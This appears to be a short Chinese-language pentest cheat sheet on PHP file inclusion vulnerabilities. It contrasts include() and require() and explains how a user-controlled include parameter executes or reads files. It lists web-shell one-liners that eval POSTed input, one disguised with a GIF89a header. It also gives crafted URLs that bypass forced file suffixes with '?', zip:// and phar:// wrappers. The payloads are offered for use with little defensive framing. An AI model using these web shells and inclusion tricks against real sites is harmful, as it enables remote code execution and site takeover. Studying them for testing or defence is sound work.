文件包含:
- 为了加快代码开发效率
- include()出错也会继续执行程序
- require()出错警告后退出程序
如果文件包含的参数是用户可控的参数,去访问可解析的文件的时候,如php,asp就会进行解析。
如果是无法解析的文件,就会进行读文件的操作。
php类型
GIF89a
<script
language="php">@eval($_POST['a']);</script>
<script
language=php>eval($_POST['cmd']);</script>
当我们进行远程包含文件时,如果后缀名写死,可以利用?绕过
PHP归档
有些网站,开发人员在编写时,在包含文件的末尾都会加上.php这种
构造出来的文件包含如
www.baidu.com/index.php?url=test
其实在test后面是存在php的
环境:存在文件上传和文件包含
文件上传在我们上传后的后缀都加上了.php
我们上传.zip 运用ZIP的伪协议。
首先上传一个ZIP包,ZIP包里有一个php文件,然后利用文件包含构造?url=zip://upload/test.zip%23phptest
如果过滤掉了井号 那么我们可以利用phpar位协议进行文件包含,构造?url=phpar://upload/test.zip/phptest